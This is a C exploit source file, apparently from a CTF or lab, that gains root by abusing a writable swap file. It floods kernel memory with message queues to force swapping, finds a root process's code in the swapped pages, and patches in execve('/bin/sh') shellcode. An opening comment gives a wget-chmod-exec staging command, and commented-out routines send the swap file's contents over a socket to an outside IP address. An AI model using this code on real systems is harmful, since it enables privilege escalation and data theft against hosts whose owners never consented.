|
// move the process to target environment by: |
|
// cd /tmp && wget <url>/a.out && chmod a+x a.out && exec a.out |
|
// its important to use exec so we are not a child of a process with uid=1 but we become child of busybox pid=1 uid=0 process |
|
// we also remove the /tmp/a.out so that it won't be swapped |
|
#define _GNU_SOURCE |
|
#include <stdio.h> |
|
#include <string.h> |
|
#include <stdlib.h> |
|
#include <unistd.h> |
|
#include <sys/types.h> |
|
#include <sys/stat.h> |
|
#include <fcntl.h> |
|
#include <sys/socket.h> |
|
#include <sys/mman.h> |
|
#include <netdb.h> |
|
#include <netinet/in.h> |
|
#include <arpa/inet.h> |
|
#include <sys/ipc.h> |
|
#include <sys/msg.h> |
|
|
|
unsigned char ida_chars[] = |
|
{ |
|
0x85, 0xC0, 0x89, 0xC3, 0x7E, |
|
0xBE, 0x89, 0xC7, 0x41, 0xBC, 0x01, 0x00, 0x00, 0x00, 0xE8, |
|
0x02, 0xF5, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x74, 0xDC, 0x48, |
|
0x8D, 0x50, 0x2D, 0x89, 0xD9, 0xBE, 0x17, 0x2B, 0x50, 0x00, |
|
0xBF, 0x01, 0x00, 0x00, 0x00, 0x31, 0xC0, 0xE8, 0x7C, 0xF5, |
|
0xFF, 0xFF, 0xEB, 0xC3 |
|
}; |
|
|
|
unsigned char shellcode[] = {106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5}; |
|
|
|
int limit = 0; |
|
struct sockaddr_in servaddr = {0}; |
|
|
|
void alloc_kernel() { |
|
#define BUFF_SIZE 4048 |
|
struct { |
|
long mtype; |
|
char mtext[BUFF_SIZE]; |
|
} msg; |
|
|
|
memset(msg.mtext, 0x42, BUFF_SIZE-1); |
|
msg.mtext[BUFF_SIZE] = 0; |
|
msg.mtype = 1; |
|
|
|
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); |
|
if (msqid < 0) { printf("FAILED on %d\n", limit); exit(0); } |
|
|
|
msgsnd(msqid, &msg, sizeof(msg.mtext), 0); |
|
limit += 1; |
|
} |
|
|
|
#define SWAPSIZE 10485760 |
|
|
|
// The `sendme` function was used initially to send the whole SWAPFILE to myself, |
|
// as we could not read it e.g. via `cat` or by printing its hexdump from this process |
|
// We needed that in order to see if something was swapped as we couldn't use `free` shell program |
|
// because the low memory/swapping halted the whole system :P |
|
void sendme(char* x) { |
|
/* |
|
int sockfd = socket(AF_INET, SOCK_STREAM, 0); |
|
printf("sockfd=%d\n", sockfd); |
|
if (sockfd == -1) { exit(1); } |
|
|
|
int connres = connect(sockfd, &servaddr, sizeof(servaddr)); |
|
printf("connect=%d\n", connres); |
|
if (connres == -1) { exit(1); } |
|
|
|
ssize_t written = write(sockfd, x, SWAPSIZE); |
|
printf("written = %ld\n", written); |
|
close(sockfd); |
|
*/ |
|
} |
|
|
|
|
|
|
|
int main(int argc, char* argv[]) { |
|
servaddr.sin_family = AF_INET; |
|
//servaddr.sin_addr.s_addr = inet_addr("159.89.110.62"); //inet_addr("192.168.143.180"); |
|
//servaddr.sin_port = htons(1338); |
|
servaddr.sin_addr.s_addr = inet_addr("192.168.143.180"); |
|
servaddr.sin_port = htons(4444); |
|
|
|
int rrr = unlink("/tmp/a.out"); |
|
printf("unlink /tmp/a.out = %d\n", rrr); |
|
if (rrr != 0) return -2; |
|
int fd = open("/swap", O_RDWR, 0); |
|
printf("fd=%d\n", fd); |
|
|
|
char* x = mmap(0, SWAPSIZE, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0); |
|
printf("Mmaped swap=%p\n", x); |
|
sendme(x); |
|
puts("sent"); |
|
|
|
puts("Alloc!"); |
|
for(int i=0; i<(10780-700-350); ++i) { //-100-975); ++i) { |
|
alloc_kernel(); |
|
if (i%1000==0) { printf("i=%d\n", i); } //sleep(1); } |
|
//system("free"); |
|
} |
|
puts("Done!"); |
|
|
|
sendme(x); |
|
|
|
char* p = 0; |
|
for(int i=0; i<1000; ++i) { |
|
p = memmem(x, SWAPSIZE, ida_chars, sizeof(ida_chars)); |
|
if (!p) { |
|
puts("NOT FOUND"); |
|
alloc_kernel(); |
|
continue; |
|
//return -1; |
|
} |
|
memcpy(p, shellcode, sizeof(shellcode)); |
|
puts("COPIED"); |
|
return 0; |
|
} |
|
return 0; |
|
|
|
/* |
|
#define SX (1024*1024*12) |
|
char* x = mmap(0, SX, PROT_WRITE|PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); |
|
printf("Big chunk %p\n", x); |
|
|
|
puts("Printing"); |
|
int fd = open("/swap", O_RDWR, 0); |
|
printf("fd=%d\n", fd); |
|
|
|
int zeros = 1; |
|
int until_newline = 32; |
|
|
|
ssize_t all_read = 0; |
|
while (1) { |
|
ssize_t n = read(fd, x+all_read, 1024); |
|
//printf("Read n=%ld\n", n); |
|
if (n <= 0) break; |
|
all_read += n; |
|
} |
|
close(fd); |
|
|
|
int sockfd = socket(AF_INET, SOCK_STREAM, 0); |
|
if (sockfd == -1) { puts("SOCKET"); return -1; } |
|
|
|
struct sockaddr_in servaddr = {0}; |
|
servaddr.sin_family = AF_INET; |
|
servaddr.sin_addr.s_addr = inet_addr("192.168.143.180"); |
|
servaddr.sin_port = htons(4444); |
|
|
|
int connres = connect(sockfd, &servaddr, sizeof(servaddr)); |
|
if (connres == -1) { puts("CONNECT"); return -1; } |
|
|
|
ssize_t written = write(sockfd, x, all_read); |
|
printf("written = %ld, all_read = %ld\n", written, all_read); |
|
close(sockfd); |
|
//*/ |
|
|
|
} |
|
/* |
|
int res = mlockall(MCL_CURRENT); |
|
printf("mlockall MCL_CURRENT=%d\n", res); |
|
res = mlockall(MCL_FUTURE); |
|
printf("mlockall MCL_FUTURE=%d\n", res); |
|
*/ |
|
/* |
|
int res = mlockall(MCL_FUTURE); |
|
printf("mlockall MCL_FUTURE=%d\n", res); |
|
#define SX (1024*1024*41) |
|
#define SY (1024*1024*2) |
|
#define SZ (1024*(256+105)) |
|
for(int i=0; i<(SX+SY+SZ); i += 1024) { |
|
char* p = mmap(0, 1024, PROT_WRITE|PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); |
|
printf("i=%d p=%p\n", i, p); |
|
if (p == -1) { sleep(5000); return -2; } |
|
|
|
} |
|
|
|
char* x = mmap(0, SX, PROT_WRITE|PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); |
|
printf("Big chunk %p\n", x); |
|
char* y = mmap(0, SY, PROT_WRITE|PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); |
|
printf("Big chunk %p\n", y); |
|
char* z = mmap(0, SZ, PROT_WRITE|PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); |
|
printf("Big chunk %p\n", z); |
|
|
|
for(int i=0; i<SX; i+=4096) x[i] = 0x41; |
|
for(int i=0; i<SY; i+=4096) x[i] = 0x42; |
|
for(int i=0; i<SZ; i+=4096) x[i] = 0x43; |
|
*/ |
|
|
|
/* |
|
#define NEEDLE "ELF\x7b" |
|
char* p = memmem(buf, sizeof(buf), NEEDLE, sizeof(NEEDLE)); |
|
if (p) { |
|
printf("FOUND at %ld\n", all_read); |
|
} |
|
|
|
return 0; |
|
//*/ |
|
|
|
/* |
|
if (!x) return -1; |
|
int N = atoi(argv[1]); |
|
for (int jj=0; jj<N; ++jj) { |
|
#define SIZE (4096) |
|
char* p = mmap(0, SIZE, PROT_WRITE|PROT_READ, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); |
|
printf("jj=%d p=%p\n", jj, p); |
|
if (!p) return 1; |
|
for(int i=0; i<SIZE; i++) { |
|
p[i] = 0x41; |
|
} |
|
system("free"); |
|
int fd = open("/swap", O_RDWR, 0); |
|
printf("fd=%d\n", fd); |
|
ssize_t all_read = 0; |
|
while (1) { |
|
ssize_t n = read(fd, x+all_read, 1024); |
|
if (n <= 0) break; |
|
all_read += n; |
|
#define NEEDLE "ELF\x7b" |
|
char* p = memmem(buf, sizeof(buf), NEEDLE, sizeof(NEEDLE)); |
|
if (p) { |
|
printf("FOUND at %ld\n", all_read); |
|
} |
|
} |
|
printf("All read: %ld\n", all_read); |
|
close(fd); |
|
} |
|
*/ |
|
//int sleep_s = atoi(argv[2]); |
|
//if (sleep_s) { |
|
// sleep(sleep_s); |
|
//} |